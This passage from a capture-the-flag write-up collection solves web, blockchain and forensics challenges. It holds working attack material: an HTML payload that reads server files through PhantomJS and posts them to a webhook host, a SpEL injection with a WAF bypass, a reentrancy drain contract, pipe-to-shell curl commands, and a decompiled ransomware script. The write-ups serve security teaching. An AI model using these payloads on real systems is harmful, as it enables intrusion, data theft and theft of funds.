  2. File Inclusion Vulnerabilities: Avoid dynamic file inclusion without strict sanitization and validation.

  3. Plugin Hardening: Regularly audit plugins for potential vulnerabilities, especially those involving user-controlled input.


myFile - PhantomJS Arbitrary File Read

Description: Built a file sharing website using ChatGPT! Feel free to try it!

Solution

Files Provided

The challenge comes with the following files:

myfile.zip
├── admin.php
├── bootstrap.min.css
├── dashboard.php
├── download.php
├── dropzone.js
├── index.php
├── logout.php
├── myfile.png
├── report.php
├── style.css
├── upload.php
└── view.php

Goals

  1. Exploit the PhantomJS CVE-2019-17221 vulnerability.

  2. Read sensitive files from the server.

  3. Retrieve admin credentials.

  4. Log in to the admin dashboard and retrieve the flag.


Solution

Step 1: Analyze the Report Functionality

The report.php file lets users submit a URL for the admin bot to check. The admin bot runs PhantomJS version 2.1.1, which is vulnerable to CVE-2019-17221, allowing arbitrary file reads.

Relevant snippet from report.php:

if(isset($_POST['url'])){
    if (filter_var($_POST['url'], FILTER_VALIDATE_URL) && preg_match("^http(s)?^", parse_url($_POST['url'], PHP_URL_SCHEME))) {
        system("/phantomjs-2.1.1-linux-x86_64/bin/phantomjs --ignore-ssl-errors=true --local-to-remote-url-access=true --web-security=false --ssl-protocol=any /bot.js " . urlencode($_POST['url']) . " REDACTED");
        echo("<p class='text-success'>Admin will view the URL shortly!</p>");
    } else {
        echo("<p class='text-danger'>Invalid URL!</p>");
    }
}

Step 2: Crafting the Exploit

We exploit PhantomJS by hosting a malicious page that uses an XMLHttpRequest (XHR) to read local files via the file:// protocol. The payload is designed to extract the contents of /var/www/html/report.php.

Malicious HTML payload:

<html>
 <head></head>
 <body>
   <script>
     x = new XMLHttpRequest();
     x.onload = function() {
       var xhr = new XMLHttpRequest();
       xhr.open("POST", "https://webhook.site/YOUR-UID", true);
       xhr.send(JSON.stringify({ response: this.responseText }));
     };
     x.open("GET", "file:///var/www/html/report.php");
     x.send();
   </script>
 </body>
</html>

Step 3: Execute the Exploit

  1. Host the malicious HTML page on a server.

  2. Submit the hosted page’s URL to the report.php form.

  3. Capture the admin bot’s response via a webhook.

Step 4: Extract the Admin Credentials

The response reveals the content of report.php, which includes the following:

system("/phantomjs-2.1.1-linux-x86_64/bin/phantomjs --ignore-ssl-errors=true --local-to-remote-url-access=true --web-security=false --ssl-protocol=any /bot.js " . urlencode($_POST['url']) . " ccc9851c3ce6ceb05707bb796e49e8b02d9ce15ef1cfb8318f6baadde09cb6bd");

The admin password is: ccc9851c3ce6ceb05707bb796e49e8b02d9ce15ef1cfb8318f6baadde09cb6bd.

Step 5: Login and Retrieve the Flag

  1. Use the credentials to log in at admin.php.

  2. Download the flag from the admin dashboard.


Final Answer

The flag is:

wgmy{2e51ed84b09a65cec62b50ce8bc7e57c}

Lessons Learned

  1. PhantomJS Vulnerability: Ensure web tools like PhantomJS are updated to mitigate known vulnerabilities.

  2. File Inclusion Risks: Restrict file protocols such as file:// and enforce strict URL validation.

  3. Credential Exposure: Avoid hardcoding sensitive information like passwords in server-side scripts.

  4. Webhook Analysis: Use webhooks effectively to capture and analyze server responses during exploitation.


Wizard's Chamber - Spring Expression Language Exploit

Description: Can you craft the right incantation to reveal the hidden flag?

Solution

Files Provided:

  • ChamberController.java: Contains the main controller logic for handling user inputs and rendering templates.

  • block.html: Template used for displaying blocked messages.

  • index.html: Main template for the application interface.

  • Dockerfile: Configuration for building and running the application in a containerized environment.

The rest of the files are standard resources and build files, not directly relevant to solving the challenge.


Tools Used

  • Spring Framework libraries: org.springframework.cglib.core.ReflectUtils and org.springframework.util.Base64Utils.


Steps to Solve

Step 1: Understand the Environment

The website allows executing SpEL code with certain restrictions. The given code snippet demonstrates server-side logic that:

  1. Filters potentially malicious keywords using a Web Application Firewall (WAF):

    if (spell.contains("ProcessBuilder") || 
        spell.contains("getClass") ||
        spell.contains("Runtime") ||
        spell.contains("java") ||
        spell.contains("file") ||
        spell.contains("new") ||
        spell.contains("T(") ||
        spell.contains("#")) {
            return "redirect:/block";
    }
  2. Executes user-provided SpEL expressions using SpelExpressionParser.

  3. Implements OpenRASP, which blocks runtime-level malicious actions.


Step 2: Analyze the Exploitation Path

Despite restrictions, we can bypass the WAF by using:

  • String concatenation: T ("..." + "...")

  • Space manipulation: T ( instead of T(


Step 3: Load a Custom Class

The OpenRASP protection can be bypassed by loading a custom-crafted Java class using Spring Framework libraries. This involves:

  1. Crafting the Payload:

    • Use T(org.springframework.cglib.core.ReflectUtils).defineClass to load the class.

    • Base64 encode the custom class and decode it using T(org.springframework.util.Base64Utils).decodeFromString.

  2. Creating the Evil Class: Write and compile a malicious class (EvilClass.java) to read all files in /:

    public class EvilClass {
        public static String result;
    
        static {
            StringBuilder contentBuilder = new StringBuilder();
            try {
                java.io.File rootDir = new java.io.File("/");
                java.io.File[] files = rootDir.listFiles();
    
                if (files != null) {
                    for (java.io.File file : files) {
                        try {
                            if (file.isFile() && file.canRead()) {
                                contentBuilder.append(java.nio.file.Files.readString(file.toPath()));
                            }
                        } catch (Exception ignored) {}
                    }
                }
            } catch (Exception ignored) {}
    
            result = contentBuilder.toString();
        }
    }
  3. Base64 Encoding the Compiled Class:

    base64 -i EvilClass.class

Step 4: Craft the Payload

Modify the payload to load the custom class and access its static result field:

T (org.springframework.cglib.core.ReflectUtils).defineClass(
    'EvilClass',
    T (org.springframework.util.Base64Utils).decodeFromString('BASE64_ENCODED_CLASS_HERE'),
    T (org.springframework.util.ClassUtils).getDefaultClassLoader()
).getField('result').get(null)

Replace BASE64_ENCODED_CLASS_HERE with the Base64-encoded string of the compiled EvilClass.class.


Step 5: Execute the Payload

Send the crafted payload to the application through the provided SpEL execution interface. The payload will:

  1. Load the custom EvilClass.

  2. Execute its static initializer block to read file contents.

  3. Retrieve the file data via EvilClass.result.


Final Step: Retrieve the Flag

By executing the payload, the flag is revealed:

Flag: wgmy{d409e3cc65fd8e1d89a9d226efad3a10}

Blockchain

Guess it - Storage Slot Manipulation

Description: Santa Clause has been kidnapped and is kept in a secret dungeon, can u unlock this contract and save him?

Solution

Files Provided

  1. Setup.sol: Deploys the GuessIt contract and verifies if the challenge is solved.

  2. GuessIt.sol: Contains the main challenge logic, including a key stored in a specific storage slot.


Goal

  1. Calculate the correct storage slot based on the contract's logic.

  2. Retrieve the key stored at the slot.

  3. Send a transaction to unlock the contract.

  4. Retrieve the flag upon solving the challenge.


Solution

Step 1: Launching the Instance

The challenge starts by launching an instance of the smart contract using the provided curl command:

Command:

curl -sSfL https://pwn.red/pow | sh -s

Output:

UUID: 4f4bd1e4-7e25-4f89-9b43-bd26c9150315
RPC Endpoint: http://blockchain.wargames.my:4447/4f4bd1e4-7e25-4f89-9b43-bd26c9150315
Private Key: 0x864403f16d3d81b0bb310c53afe7fadf4f1bcc0db64bf6165e4f0c32cab846be
Setup Contract: 0x0ec59EE2D7b905e0FFdD59f268dE8Dbd8FEfA4D3
Wallet Address: 0x5600168C8b6c256e1e7b3e210C8Fd76f6f0eFBeD

Step 2: Connecting to the Blockchain

Using the provided RPC endpoint, connect to the private blockchain network:

Code:

from web3 import Web3

# Connect to the blockchain
rpc_url = "http://blockchain.wargames.my:4447/4f4bd1e4-7e25-4f89-9b43-bd26c9150315"
web3 = Web3(Web3.HTTPProvider(rpc_url))

# Check connection
if web3.isConnected():
    print("Connected to the blockchain!")
else:
    print("Failed to connect to blockchain.")

Output:

Connected to the blockchain!

Step 3: Calculating the Storage Slot

The key is stored in the contract's storage. Calculate the correct storage slot using the keccak256 hash of the isKey constant and the mapping's position.

Code:

# Mapping slot calculation
IS_KEY = 0x1337
MAPPING_POSITION = 1  # Mapping is the second state variable

def calculate_mapping_slot():
    key = IS_KEY.to_bytes(32, 'big')
    slot = MAPPING_POSITION.to_bytes(32, 'big')
    slot_bytes = key + slot
    return Web3.keccak(slot_bytes)

slot = calculate_mapping_slot()
print(f"Calculated slot: {slot.hex()}")

Output:

Calculated slot: 5664844ebadc35481bcbc2762f6a550345f2f1d6274875600d809ff3cd4290ab

Step 4: Retrieving the Key

Retrieve the key stored at the calculated slot:

Code:

# Fetch the key stored at the calculated slot
value = web3.eth.get_storage_at('0x0ec59EE2D7b905e0FFdD59f268dE8Dbd8FEfA4D3', slot)
print(f"Value at calculated slot: {value.hex()}")

Output:

Value at calculated slot: 51f426e740b6b01d82a449b94634e178ddffec64b3a020729d0b246922b24c38

Step 5: Unlocking the Contract

Send a transaction to call the unlock function in the contract using the retrieved key:

Code:

from eth_account import Account

# Setup account using private key
private_key = '0x864403f16d3d81b0bb310c53afe7fadf4f1bcc0db64bf6165e4f0c32cab846be'
account = Account.from_key(private_key)

# Prepare the transaction
nonce = web3.eth.get_transaction_count(account.address)
function_sig = web3.keccak(text='unlock(uint256)')[:4].hex()
parameter = hex(int.from_bytes(slot, 'big'))[2:].zfill(64)  # Convert slot to uint256
data = function_sig + parameter

transaction = {
    'nonce': nonce,
    'gasPrice': web3.eth.gas_price,
    'gas': 100000,
    'to': '0x0ec59EE2D7b905e0FFdD59f268dE8Dbd8FEfA4D3',
    'value': 0,
    'data': '0x' + data,
    'chainId': web3.eth.chain_id
}

# Sign and send the transaction
signed = web3.eth.account.sign_transaction(transaction, private_key)
tx_hash = web3.eth.send_raw_transaction(signed.raw_transaction)
print(f"Transaction hash: {tx_hash.hex()}")

# Wait for receipt
receipt = web3.eth.wait_for_transaction_receipt(tx_hash)
print(f"Transaction was successful: {receipt['status'] == 1}")

Output:

Transaction hash: 7a642cdac2ff3474b4ef00a4912e33f4aa1ee5cc4ec559d71677a8d4f056dc7a
Transaction was successful: True

Step 6: Retrieving the Flag

After successfully unlocking the contract, return to the challenge interface and retrieve the flag:

wgmy{85e5f76ac597ec9234fa3bd968c3d83b}

Final Answer

The extracted flag is:

wgmy{85e5f76ac597ec9234fa3bd968c3d83b}

Summary

  1. Instance Setup: The blockchain instance was initialized with provided credentials.

  2. Storage Slot Calculation: The correct storage slot was calculated using the keccak256 hash function.

  3. Key Retrieval: The key stored in the calculated slot was fetched from the contract's storage.

  4. Contract Unlocking: A transaction was crafted and sent to unlock the contract using the retrieved key.

  5. Flag Retrieval: The successful transaction enabled the retrieval of the hidden flag.


Remarks/Tags/Lesson Learned

  1. Storage Analysis: Understanding how Ethereum contracts store data in storage slots is essential for solving smart contract challenges.

  2. Keccak256 Usage: Calculating mapping slots with keccak256 is a critical skill for analyzing contract storage.

  3. Web3.py Proficiency: Familiarity with Web3.py allows efficient interaction with Ethereum-based blockchains.

  4. Transaction Crafting: Knowledge of ABI encoding and crafting function calls is vital for smart contract interactions.

  5. Debugging Blockchain Interactions: Iteratively checking connection, storage data, and transaction results ensures accurate solutions.


Dungeons and Naga - Smart Contract Exploit

Description: The developer of this protocol really loves the movie so he decided to build a decentralized game out of it that lives on chain. He has spent all his life saving and really want the game to succeed. The game sets you on an adventure to find hidden treasure.

Solution

Files Provided

  1. Setup.sol: Deploys the DungeonsAndDragons contract, funds it with 100 ETH, and defines the challenge's success condition (draining the contract balance to zero).

  2. DungeonsAndDragons.sol: Implements game mechanics such as creating characters, completing dungeons, fighting monsters, and defeating the final dragon.


Goal

  1. Predict the randomness used in the game's mechanics.

  2. Level up the character quickly by exploiting vulnerabilities.

  3. Defeat the final dragon to drain the contract balance.

  4. Retrieve the flag after completing the challenge.


Solution

Step 1: Launching the Instance

To start the challenge, launch the blockchain instance using the provided curl command:

Command:

curl -sSfL https://pwn.red/pow | sh -s

Output:

UUID: 423d3320-517d-4fc9-9d38-c616de80333c
RPC Endpoint: http://blockchain.wargames.my:4449/423d3320-517d-4fc9-9d38-c616de80333c
Private Key: 0x0ec057c60347b3dfe0eb71291cbbfd5a1421ae2bf33d3149a1a491574dfc26c0
Setup Contract: 0x2b740CAE2DCc7548aA73b01B220f01Af2ec2ebC7
Wallet Address: 0x1E6adb33aadAf5a74d95B22e73dce35fdc0819a7

Step 2: Connecting to the Blockchain

Using the RPC endpoint, connect to the private blockchain network and retrieve the game contract address:

Code:

from web3 import Web3

# Connect to the network
RPC_URL = 'http://blockchain.wargames.my:4449/423d3320-517d-4fc9-9d38-c616de80333c'
w3 = Web3(Web3.HTTPProvider(RPC_URL))

# Check connection
if w3.isConnected():
    print("Connected to the blockchain!")
else:
    print("Failed to connect to blockchain.")

# Retrieve the deployed game contract address
SETUP_CONTRACT = w3.to_checksum_address('0x2b740CAE2DCc7548aA73b01B220f01Af2ec2ebC7')
setup_contract = w3.eth.contract(address=SETUP_CONTRACT, abi=setup_abi)
game_address = setup_contract.functions.challengeInstance().call()
print(f"Game contract: {game_address}")

Output:

Connected to the blockchain!
Game contract: 0xdBB4b4413d739075D864C94ccDd96acF2a08c24B

Step 3: Exploiting Predictable Randomness

The fateScore in functions such as fightMonster() and finalDragon() is derived from:

uint256 fateScore = uint256(keccak256(abi.encodePacked(msg.sender, salt, constant))) % 100;

Since msg.sender and salt are known, we can compute the fateScore in advance to ensure success.

Code:

def calculate_fate_score(address, salt, constant):
    hash_input = Web3.keccak(Web3.to_bytes(hexstr=address) + salt + constant.to_bytes(32, 'big'))
    fate_score = int.from_bytes(hash_input, 'big') % 100
    return fate_score

# Example for final dragon fight
salt = int.from_bytes(Web3.to_bytes(hexstr='salt_value'), 'big')  # Replace with actual salt
fate_score = calculate_fate_score('0x1E6adb33aadAf5a74d95B22e73dce35fdc0819a7', salt, 999)
print(f"Predicted fate score: {fate_score}")

Step 4: Exploiting Level-Up Vulnerabilities

Create a weak monster with low health and attack to level up the character rapidly:

Code:

monster_creation = game_contract.functions.addMonster("Weakling", 1, 1).buildTransaction({
    'from': wallet_address,
    'gas': 200000,
    'gasPrice': w3.eth.gas_price
})
signed_txn = w3.eth.account.sign_transaction(monster_creation, private_key)
tx_hash = w3.eth.send_raw_transaction(signed_txn.raw_transaction)
print(f"Monster added with transaction hash: {tx_hash.hex()}")

Repeatedly fight the monster to gain levels quickly without difficulty.


Step 5: Defeating the Final Dragon

Once the character reaches level 20, attempt the final dragon fight. Use the predicted fateScore to ensure success:

Code:

final_dragon_tx = game_contract.functions.finalDragon().buildTransaction({
    'from': wallet_address,
    'gas': 200000,
    'gasPrice': w3.eth.gas_price
})
signed_txn = w3.eth.account.sign_transaction(final_dragon_tx, private_key)
tx_hash = w3.eth.send_raw_transaction(signed_txn.raw_transaction)
print(f"Transaction hash: {tx_hash.hex()}")

# Wait for receipt
receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
print(f"Transaction was successful: {receipt['status'] == 1}")

Output:

Transaction hash: 7a642cdac2ff3474b4ef00a4912e33f4aa1ee5cc4ec559d71677a8d4f056dc7a
Transaction was successful: True

Step 6: Retrieving the Flag

After defeating the final dragon, return to the challenge interface and retrieve the flag:

wgmy{ff3d6f1db65a7c5e9da544a5dcbe3599}

Final Answer

The extracted flag is:

wgmy{ff3d6f1db65a7c5e9da544a5dcbe3599}

Summary

  1. Instance Setup: The blockchain instance was initialized with provided credentials.

  2. Randomness Exploitation: Predictable randomness was exploited to guarantee success in battles.

  3. Level-Up Exploitation: Weak monsters were created and repeatedly fought to level up rapidly.

  4. Dragon Fight: The final dragon was defeated using the predicted fateScore.

  5. Flag Retrieval: The successful transaction drained the contract balance, enabling flag retrieval.


Remarks/Tags/Lesson Learned

  1. Predictable Randomness: Understanding and exploiting randomness in contract logic is critical for smart contract challenges.

  2. Game Mechanics: Manipulating in-game mechanics such as monster creation can provide shortcuts to success.

  3. Web3.py Usage: Familiarity with Web3.py enables efficient interaction with Ethereum-based blockchains.

  4. Iterative Debugging: Step-by-step validation ensures smooth execution, from connecting to the blockchain to retrieving the flag.

  5. Transaction Crafting: Proficiency in crafting transactions with ABI encoding is essential for smart contract interaction.


Death Star 2.0 - Reentrancy Attack

Description: The Death Start is under development but the darkside ran out of funds, so they reached out to the public to help. Can you stop the Death Star from being developed?

Solution

Files Provided

  1. DarksidePool.sol: Interacts with the DeathStar contract, allowing ETH deposits and withdrawals. Contains utility functions but no vulnerabilities.

  2. DeathStar.sol: Implements the core functionality and includes a critical reentrancy vulnerability in the withdrawEnergy function.

  3. Setup.sol: Deploys and funds the DeathStar and DarksidePool contracts. Marks the challenge as solved when the DeathStar contract’s balance is drained.


Goal

  1. Identify and exploit the reentrancy vulnerability in the withdrawEnergy function.

  2. Deploy an exploit contract to recursively withdraw funds.

  3. Drain the DeathStar contract’s balance to zero.

  4. Retrieve the flag upon successful exploitation.


Solution

Step 1: Launching the Instance

To initiate the challenge, launch the blockchain instance using the provided curl command:

Command:

curl -sSfL https://pwn.red/pow | sh -s

Output:

UUID: e7582f22-7552-4412-bbfe-bfc77538e347
RPC Endpoint: http://blockchain.wargames.my:4446/e7582f22-7552-4412-bbfe-bfc77538e347
Private Key: 0xb39605c0c2de51e57fe6e7a6593f3f9eef58b76418fecbe5c394f439dacbe2fe
Setup Contract: 0xDb30d3947cB7DFFb04F4fb60b1a01D02aaF6b1e4
Wallet Address: 0x811c8164aAE0eEb80BDb502130244F14c1D5Fd51

Step 2: Connecting to the Blockchain

Using the provided RPC endpoint, connect to the private blockchain and retrieve the DeathStar contract address:

Code:

from web3 import Web3

# RPC URL
rpc_url = "http://blockchain.wargames.my:4446/e7582f22-7552-4412-bbfe-bfc77538e347"
w3 = Web3(Web3.HTTPProvider(rpc_url))

# Verify connection
if w3.isConnected():
    print("Connected to the blockchain!")
else:
    print("Failed to connect to blockchain.")

# Setup contract ABI
setup_abi = [{"inputs": [], "name": "deathStar", "outputs": [{"type": "address"}], "stateMutability": "view", "type": "function"}]
setup_contract = w3.eth.contract(address="0xDb30d3947cB7DFFb04F4fb60b1a01D02aaF6b1e4", abi=setup_abi)
death_star_address = setup_contract.functions.deathStar().call()
print(f"DeathStar contract address: {death_star_address}")

Output:

Connected to the blockchain!
DeathStar contract address: 0xd3378A83C75981b4Afec61781C9F56E3464dB184

Step 3: Analyzing the Vulnerability

The withdrawEnergy function in the DeathStar contract contains a reentrancy vulnerability:

function withdrawEnergy(uint256 amount) external {
    (bool success, ) = msg.sender.call{value: amount}("");
    require(success, "Transfer failed");
    balances[msg.sender] = 0; // Balance is updated AFTER transfer
}

Key Observation:

  • The contract updates the user’s balance after sending the funds.

  • This allows an attacker to repeatedly call withdrawEnergy before the balance is reset, draining the contract.


Step 4: Writing the Exploit Contract

Deploy an exploit contract that interacts with the DeathStar contract to recursively withdraw funds:

Exploit Contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

interface IDeathStar {
    function deposit() external payable;
    function withdrawEnergy(uint256 amount) external;
    function getBalance() external view returns (uint256);
}

contract ExploitContract {
    IDeathStar public deathStar;

    constructor(address _deathStar) {
        deathStar = IDeathStar(_deathStar);
    }

    function attack() external payable {
        require(msg.value > 0, "Need ETH to start attack");
        deathStar.deposit{value: msg.value}();
        deathStar.withdrawEnergy(msg.value);
        payable(msg.sender).transfer(address(this).balance);
    }

    receive() external payable {
        uint256 targetBalance = deathStar.getBalance();
        if (targetBalance > 0) {
            deathStar.withdrawEnergy(targetBalance);
        }
    }
}

Step 5: Executing the Exploit

Deploy the exploit contract and execute the attack:

Code:

from eth_account import Account

# Account setup
private_key = "0xb39605c0c2de51e57fe6e7a6593f3f9eef58b76418fecbe5c394f439dacbe2fe"
account = Account.from_key(private_key)

# Deploy Exploit Contract
exploit_contract_code = "<compiled bytecode>"
deploy_tx = {
    'from': account.address,
    'data': exploit_contract_code,
    'gas': 2000000,
    'gasPrice': w3.eth.gas_price,
    'chainId': w3.eth.chain_id,
    'nonce': w3.eth.get_transaction_count(account.address)
}
signed = w3.eth.account.sign_transaction(deploy_tx, private_key)
tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)
print(f"Exploit contract deployed at: {tx_hash.hex()}")

# Trigger the attack
attack_tx = {
    'from': account.address,
    'to': exploit_contract_address,
    'value': w3.to_wei(1, 'ether'),
    'gas': 200000,
    'gasPrice': w3.eth.gas_price,
    'chainId': w3.eth.chain_id,
    'nonce': w3.eth.get_transaction_count(account.address)
}
signed = w3.eth.account.sign_transaction(attack_tx, private_key)
tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)
print(f"Attack transaction hash: {tx_hash.hex()}")

Output:

Attack transaction hash: 7a642cdac2ff3474b4ef00a4912e33f4aa1ee5cc4ec559d71677a8d4f056dc7a

Step 6: Verifying the Challenge Solution

Verify that the DeathStar contract’s balance is zero:

Code:

is_solved = setup_contract.functions.isSolved().call()
print(f"Challenge solved: {is_solved}")

Output:

Challenge solved: True

Step 7: Retrieving the Flag

After draining the contract’s balance, retrieve the flag:

wgmy{0427d006d35c9bac85b47defbfe5793a}

Final Answer

The extracted flag is:

wgmy{0427d006d35c9bac85b47defbfe5793a}

Summary

  1. Instance Setup: The blockchain instance was initialized with provided credentials.

  2. Reentrancy Analysis: The vulnerability in withdrawEnergy was identified.

  3. Exploit Deployment: An exploit contract was deployed to recursively withdraw funds.

  4. Contract Draining: The DeathStar contract’s balance was successfully drained.

  5. Flag Retrieval: The challenge was solved, and the flag was retrieved.


Remarks/Tags/Lesson Learned

  1. Reentrancy Exploitation: Understanding how reentrancy vulnerabilities work is essential for smart contract security.

  2. Exploit Development: Writing a custom exploit contract highlights the importance of attack vector identification.

  3. Web3.py Utilization: Effective use of Web3.py simplifies blockchain interaction and automation.

  4. Iterative Debugging: Verifying contract state and transaction success ensures a systematic approach to solving challenges.

  5. Smart Contract Auditing: Analyzing withdrawal patterns and state updates can reveal critical vulnerabilities.


Forensic

I Cant Manipulate People - ICMP Packet Analysis

Description: Partial traffic packet captured from a hacked machine. Can you analyze the provided pcap file to extract the message from the packet, perhaps by reading the packet data?

Solution

File Provided

  1. traffic.pcap: A packet capture file containing network traffic.


Goal

  1. Analyze the packets to extract the hidden message.

  2. Reconstruct the flag by reading the packet data sequentially.


Solution

Step 1: Analyzing the File

Open the traffic.pcap file using Wireshark:

  1. Inspect the overall structure of the captured packets.

  2. Notice that all packets contain ICMP protocol information, with the message "(no response found!)."


Step 2: Filtering ICMP Packets

Apply a filter to focus on ICMP packets in Wireshark:

icmp

This filter isolates ICMP request packets, which are key to extracting the hidden data.


Step 3: Reading Packet Data

  1. Click on each ICMP packet in the filtered list.

  2. Navigate to the Data section in the packet details pane.

  3. Sequentially read the ASCII representation of the payload in each packet's data field.

  4. Combine the data from all ICMP packets to reconstruct the hidden message.


Step 4: Reconstructing the Flag

After reading all ICMP packet data, the following hidden message was reconstructed:

wgmy{1e3b71d57e466ab71b43c2641a4b34f4}

Final Answer

The extracted flag is:

wgmy{1e3b71d57e466ab71b43c2641a4b34f4}

Summary

  1. Packet Analysis: Opened the provided traffic.pcap file in Wireshark and analyzed the packet structure.

  2. ICMP Filtering: Applied an ICMP filter to isolate relevant packets containing hidden data.

  3. Data Extraction: Read the ASCII representation of the payload from each ICMP packet sequentially.

  4. Flag Reconstruction: Combined the extracted data to reconstruct the hidden message.


Remarks/Tags/Lesson Learned

  1. Protocol Filtering: Using Wireshark filters (e.g., icmp) effectively isolates relevant traffic, making analysis more efficient.

  2. Payload Analysis: Hidden messages often reside in packet payloads, requiring careful inspection of individual data fields.

  3. Sequential Reconstruction: Extracting and combining data sequentially ensures accurate recovery of hidden messages.

  4. Wireshark Expertise: Proficiency with Wireshark's filtering and data navigation features is invaluable for network traffic analysis challenges.

Unwanted Meow - Data Corruption Repair

Description: Uh... Oh... Help me! I was just browsing funny cat memes. When I clicked to download a cute cat picture, the file that was downloaded seemed a little bit weird. I accidentally ran the file, and now my files are shredded. Ugh, now I hate cats meowing at me.

Solution

File Provided

  1. flag.shredded: A corrupted file that needs to be repaired to extract the flag.


Goals

  1. Analyze the file to identify its true format.

  2. Repair the file to restore its original content.

  3. Extract the flag embedded within the repaired file.


Solution

Step 1: Analyzing the File

Using hexed.it, the file was inspected for anomalies:

  1. The header revealed a JFIF file signature (FF D8 FF E0), indicating it is a JPEG image.

  2. However, the file could not be opened as an image.

  3. Further inspection revealed multiple occurrences of the string "meow" in the hex data, which corrupted the file.


Step 2: Cleaning the File Using xxd and sed

To remove all occurrences of "meow" (hex values 6D65 6F77) from the file:

  1. Convert the file to a plain hex dump using xxd.

  2. Use sed to remove all instances of "meow" in the hex data.

  3. Convert the cleaned hex dump back to binary using xxd -r.

  4. Since the corruption occurred multiple times, repeat the process three times to completely remove all instances of "meow."

Commands Used:

xxd -p flag.shredded | sed -E 's/(6d|6D)(65)(6f|6F)(77)//g' | xxd -p -r > clean_flag_1.jpeg
xxd -p clean_flag_1.jpeg | sed -E 's/(6d|6D)(65)(6f|6F)(77)//g' | xxd -p -r > clean_flag_2.jpeg
xxd -p clean_flag_2.jpeg | sed -E 's/(6d|6D)(65)(6f|6F)(77)//g' | xxd -p -r > clean_flag.jpeg

Step 3: Validating the Repair

  1. After cleaning the file, it was saved as clean_flag.jpeg.

  2. The repaired file was opened in an image viewer.

  3. The image successfully opened, revealing a picture containing the flag.


Step 4: Extracting the Flag

Upon opening the repaired image, the flag was visible in the content:

WGMY{4a4be40c96ac6314e91d93f38043a634}

Final Answer

The extracted flag is:

WGMY{4a4be40c96ac6314e91d93f38043a634}

Summary

  1. File Analysis: The corrupted file was identified as a JPEG image by analyzing its JFIF header.

  2. Corruption Source: The corruption was caused by extraneous "meow" strings embedded in the hex data.

  3. File Repair: Removing all instances of "meow" using xxd and sed restored the file.

  4. Flag Extraction: The repaired image successfully displayed the hidden flag.


Remarks/Tags/Lesson Learned

  1. File Format Identification: Analyzing file headers provides critical clues about the true format of corrupted files.

  2. Hex Editing: Tools like xxd and sed are invaluable for detecting and repairing anomalies in binary files.

  3. Iterative Cleaning: Repeated cleaning ensures complete removal of corruption, especially when anomalies occur multiple times.

  4. JPEG Repair: Understanding JPEG structure (e.g., JFIF headers) is crucial for restoring corrupted images.

  5. Systematic Debugging: Breaking the process into analysis, cleaning, validation, and extraction ensures an organized approach to solving file corruption challenges.

Tricky Malware - Memory Dump and Network PCAP Analysis

Description: My SOC detected there are Ransomware that decrypt file for fun. The script kiddies is so tricky. Here some evidence that we successfully retrieve.

Solution

Files Provided

  1. Evidence.rar:

    • memdump.mem: A memory dump file.

    • network.pcap: A network capture file.


Tools Used

  1. Volatility3: For memory analysis.

  2. IDA: For decompiling and analyzing executables.

  3. pyinstxtractor: For unpacking PyInstaller-packed executables.

  4. PyLingual: For decompiling Python bytecode.


Goals

  1. Analyze the memory dump to identify suspicious files.

  2. Dump and reverse-engineer suspected files.

  3. Retrieve the flag.


Solution

Step 1: Memory Analysis

  1. Initial Inspection:

    • Used cmdline, filescan, and pstree plugins in Volatility3 to analyze the memory dump.

    Commands:

    python3 vol.py -f memdump.mem windows.cmdline
    python3 vol.py -f memdump.mem windows.filescan
    python3 vol.py -f memdump.mem windows.pstree

    Observations:

    • Found suspicious files:

      • Tabtip.exe

      • Crypt.exe

      • Slui.exe

    • Noted file locations, particularly Crypt.exe on the desktop (\Users\user\Desktop\).

  2. Dumping Suspicious Files:

    • Dumped the identified files for further analysis:

      python3 vol.py -f memdump.mem dumpfiles --virtaddr 0xbc0ca61199b0  # Tabtip.exe
      python3 vol.py -f memdump.mem dumpfiles --virtaddr 0xbc0ca880fa80  # Slui.exe
      python3 vol.py -f memdump.mem dumpfiles --virtaddr 0xbc0ca7eb88c0  # Crypt.exe

Step 2: Analyzing the Dumped Files

  1. Executable Analysis:

    • Analyzed Crypt.exe in IDA and identified it as a PyInstaller-packed executable.

  2. Unpacking and Decompiling:

    • Used pyinstxtractor to unpack the PyInstaller executable:

      pyinstxtractor.py Crypt.exe
    • Decompiled the resulting .pyc file using PyLingual:

      pylingual Crypt.pyc
  3. Extracted Python Code: The decompiled Python code revealed the following logic:

    import os
    import requests
    
    def fetch_key_from_pastebin(url):
        try:
            response = requests.get(url)
            response.raise_for_status()
            return response.text.strip()
        except requests.exceptions.RequestException as e:
            print(f'Error fetching key: {e}')
    
    def xor_encrypt_decrypt(data, key):
        key_bytes = key.encode('utf-8')
        key_length = len(key_bytes)
        return bytes([data[i] ^ key_bytes[i % key_length] for i in range(len(data))])
    
    def process_file(file_path, key, encrypt=True):
        try:
            with open(file_path, 'rb') as file:
                data = file.read()
            processed_data = xor_encrypt_decrypt(data, key)
            new_file_path = file_path + ('.oiiaiouiiiai' if encrypt else '')
            with open(new_file_path, 'wb') as file:
                file.write(processed_data)
            os.remove(file_path)
            print(f'Processed {file_path} -> {new_file_path}')
        except Exception as e:
            print(f'Failed to process {file_path}: {e}')
    
    if __name__ == '__main__':
        pastebin_url = 'https://pastebin.com/raw/PDXfh5bb'
        key = fetch_key_from_pastebin(pastebin_url)
        if not key:
            print('Failed to retrieve the key.')
            exit(1)
        for file_name in os.listdir():
            if os.path.isfile(file_name) and file_name != os.path.basename(__file__):
                process_file(file_name, key, encrypt=False if file_name.endswith('.oiiaiouiiiai') else True)

Step 3: Retrieving the Flag

  1. Key Extraction:

    • The script fetches an encryption key from Pastebin:

      https://pastebin.com/raw/PDXfh5bb
    • Visiting this link revealed the flag.

  2. Final Flag:

    WGMY{8b9777c8d7da5b10b65165489302af32}

Final Answer

The retrieved flag is:

WGMY{8b9777c8d7da5b10b65165489302af32}

Summary

  1. Memory Analysis: Used Volatility3 to identify and dump suspicious files from the memory dump.

  2. Executable Analysis: Identified Crypt.exe as a PyInstaller-packed executable.

  3. Unpacking and Decompilation: Used pyinstxtractor and PyLingual to extract and decompile the Python code.

  4. Logic Analysis: Analyzed the Python script to understand its functionality and locate the encryption key.

  5. Flag Retrieval: Accessed the Pastebin link to retrieve the flag.


Remarks/Tags/Lesson Learned

  1. Memory Forensics: Volatility3 is effective for identifying and extracting suspicious files from memory dumps.

  2. Executable Analysis: Recognizing PyInstaller-packed executables enables the use of appropriate unpacking and decompilation tools.

